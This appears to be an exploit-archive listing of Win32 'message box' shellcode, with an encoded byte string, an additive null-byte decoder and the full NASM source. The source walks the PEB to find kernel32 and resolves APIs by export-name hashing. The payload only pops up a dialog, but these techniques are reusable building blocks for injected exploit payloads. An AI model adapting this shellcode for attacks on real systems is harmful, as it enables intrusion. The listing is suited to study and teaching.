Dynamic message box shellcode for win32. Supports 95/98/ME/NT/2K/XP/Vista.
44461bb59cc7467533b9c385216223311716e9343ca80fd2b5d82a5848c6a44a
; dynamicmsg.asm
;
; Dynamic Message Box (302 bytes)
;
; When assembled to shellcode the code below creates null bytes, so
; be sure to encode it first. I've done so using an additive encoder/
; decoder that can be downloaded from www.bmgsec.com.au.
;
; Supports: 95/98/ME/NT/2K/XP/Vista
; Origin: http://www.bmgsec.com.au/download/8/
;
; //Additive decoder, 22 bytes [ bmgsec.com.au ]
; "\xeb\x0f\x5e\x31\xc9\x66\xb9\x2e\x01\x80\x06\x02\x46\xe2\xfa\xeb"
; "\x05\xe8\xec\xff\xff\xff"
;
; //Dynamic Message Box Shellcode, 302 bytes, exitMethod=ExitProcess [ bmgsec.com.au ]
; "\x2f\xbe\x2f\xd9\x2f\xc7\x2f\xd0\xe7\x9a\xfe\xfe\xfe\x54\x2f\xbe"
; "\x62\x89\x3e\x2e\x83\xbe\x76\x0a\x89\x3e\x0a\x89\x6e\x1a\xab\x89"
; "\x3e\x06\xe9\x07\x89\x3e\x32\x8b\x3e\x7a\x89\x3e\x3a\x5c\xc1\x5e"
; "\x89\x6a\x22\x22\x89\x43\x3a\x89\x52\x03\x76\xff\xe8\x89\x48\x16"
; "\x89\x58\x1e\xff\xe9\xe1\x32\x47\x89\x32\x89\xff\xec\x2f\xfd\x2f"
; "\xbe\xfa\xaa\x82\xbe\x72\x05\xbf\xcd\x0b\xff\xc5\xe9\xf2\x39\x7a"
; "\x22\x26\x73\xdf\x89\x58\x22\xff\xe9\x64\x89\x0a\x49\x89\x58\x1a"
; "\xff\xe9\x89\x02\x89\xff\xe6\x87\x42\x22\x1a\x5f\xc1\xab\x4e\x50"
; "\xe6\xa8\xfd\xfd\xfd\x87\x05\x7f\xc2\x06\xfe\xfe\xfe\x7f\xc5\x02"
; "\xfe\xfe\xfe\x37\xcc\x73\xe4\xc1\xe6\x1b\xfe\xfe\xfe\x8c\x4c\x0c"
; "\xea\x7c\xd6\xe0\x71\xa6\xa0\x4b\xba\x7f\xea\x06\xfe\xfe\xfe\x87"
; "\xe3\xe6\x55\xfd\xfd\xfd\x87\xc0\xe9\xdc\x5c\x8b\x7b\x02\x87\xef"
; "\x7f\xbf\x06\xfe\xfe\xfe\xe6\xb0\xfd\xfd\xfd\xe9\x37\x56\x2f\xd0"
; "\x86\x4e\x08\x7f\xbf\x02\xfe\xfe\xfe\x4f\x50\x4e\xfd\x53\x02\x58"
; "\x57\x87\xc0\xe6\x93\xfd\xfd\xfd\xe9\x2a\x59\x2f\xd0\x86\x51\x04"
; "\xe9\x2e\x57\x2f\xd0\x86\x4f\x03\x2f\xd0\x50\x51\x4f\x50\xfd\xce"
; "\x2f\xbe\x4e\xfd\x53\x06\xe6\xc0\xfd\xfd\xfd\x73\x71\x63\x70\x31"
; "\x30\x2c\x62\x6a\x6a\x4c\xe6\xcd\xfd\xfd\xfd\x60\x6b\x65\x71\x63"
; "\x61\x4c\xe6\xc9\xfd\xfd\xfd\x77\x5f\x66\x66\x66\x4c\xfd";
;
; Written by bmgsec (bmgsec [at] gmail.com / www.bmgsec.com.au)
[SECTION .text]
global _start
_start:
; eax will hold return values
; edx will usually hold NULL
xor eax, eax ; zero out the registers used
xor ebx, ebx
xor ecx, ecx
xor edx, edx
jmp StartCode
; PEB method
find_kernel32:
push esi
xor eax, eax
mov eax, [fs:eax+0x30]
test eax, eax
js find_kernel32_9x
find_kernel32_nt:
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov eax, [eax + 0x8]
jmp short find_kernel32_finished
find_kernel32_9x:
mov eax, [eax + 0x34]
lea eax, [eax + 0x7c]
mov eax, [eax + 0x3c]
find_kernel32_finished:
pop esi
ret
; Export Directory Table method
find_function:
pushad
mov ebp, [esp + 0x24]
mov eax, [ebp + 0x3c]
mov edx, [ebp + eax + 0x78]
add edx, ebp
mov ecx, [edx + 0x18]
mov ebx, [edx + 0x20]
add ebx, ebp
find_function_loop:
jecxz find_function_finished
dec ecx
mov esi, [ebx + ecx * 4]
add esi, ebp
compute_hash:
xor edi, edi
xor eax, eax
cld
compute_hash_again:
lodsb
test al, al
jz compute_hash_finished
ror edi, 0xd
add edi, eax
jmp short compute_hash_again
compute_hash_finished:
find_function_compare:
cmp edi, [esp + 0x28]
jnz find_function_loop
mov ebx, [edx + 0x24]
add ebx, ebp
mov cx, [ebx + 2 * ecx]
mov ebx, [edx + 0x1c]
add ebx, ebp
mov eax, [ebx + 4 * ecx]
add eax, ebp
mov [esp + 0x1c], eax
find_function_finished:
popad
ret
ResolveSymbolsForDLL:
lodsd
push eax ; push hashes for find_function
push edx
call find_function
mov [edi], eax ; save found function address
add esp, 0x08
add edi, 0x04 ; increment edi by 4 (due to function address being saved)
cmp esi, ecx ; check if esi meets length of hash list
jne ResolveSymbolsForDLL
ResolveSymbolsForDLLComplete:
ret
GetHashes:
call HashesReturn
; kernel32.dll hash list
; LoadLibraryA hash = 0x8E4E0EEC
db 0x8E
db 0x4E
db 0x0E
db 0xEC
; ExitProcess hash = 0x7ED8E273
db 0x7E
db 0xD8
db 0xE2
db 0x73
; user32.dll hash list
; MessageBoxA hash = 0xA8A24DBC
db 0xA8
db 0xA2
db 0x4D
db 0xBC
StartCode:
sub esp, 0x08 ; allocate space on the stack for funct addresses
mov ebp, esp
call find_kernel32 ; find kernel32 base address
mov edx, eax
jmp short GetHashes
HashesReturn:
pop esi
lea edi, [ebp + 0x04]
mov ecx, esi
add ecx, 0x08 ; length of kernel32 hash list
call ResolveSymbolsForDLL
jmp short GetLibrary
LibraryReturn:
pop eax ; get the library string
xor edx, edx ; at this point EDX doesn't need to be zero'd since
; the lower part of edx, dl is already set to 0x00
; so if you want to save more bytes remove this op.
mov [eax + 10], dl ; insert NULL
add ecx, 0x04 ; length of user32.dll hash list
push ecx
push edx
push eax ; pointer to user32.dll
; [ebp + 4] is the address of LoadLibraryA
call [ebp + 4] ; LoadLibraryA(user32.dll)
GetMessageBoxA:
pop edx
pop ecx
mov edx, eax ; address of user32.dll
call ResolveSymbolsForDLL
jmp short MessageTitle
MessageTitleReturn:
pop ebx ; get the title string
xor edx, edx
mov [ebx + 6], dl ; insert NULL
jmp short Message
MessageReturn:
pop ecx ; get the message string
xor edx, edx
mov [ecx + 5], dl ; insert NULL
xor edx, edx ; set to 0
push edx ; MB_OK
push ebx ; title
push ecx ; message
push edx ; NULL window handle
; [ebp + 0x0C] is the address of MessageBoxA
; eax hasn't been modified so we can save a byte
call eax ; MessageBoxA(windowhandle, msg, title, type);
ExitProcess:
xor eax, eax ; zero out previous return value
push eax ; push 0
; [ebp + 8] is the address of ExitProcess(code)
call [ebp + 0x08] ; ExitProcess(0)
GetLibrary:
call LibraryReturn
db 'user32.dllN' ; N is a placeholder for a null byte
; 0x00 is not directly used
MessageTitle:
call MessageTitleReturn
db 'bmgsecN'
Message:
call MessageReturn
db 'yahhhN'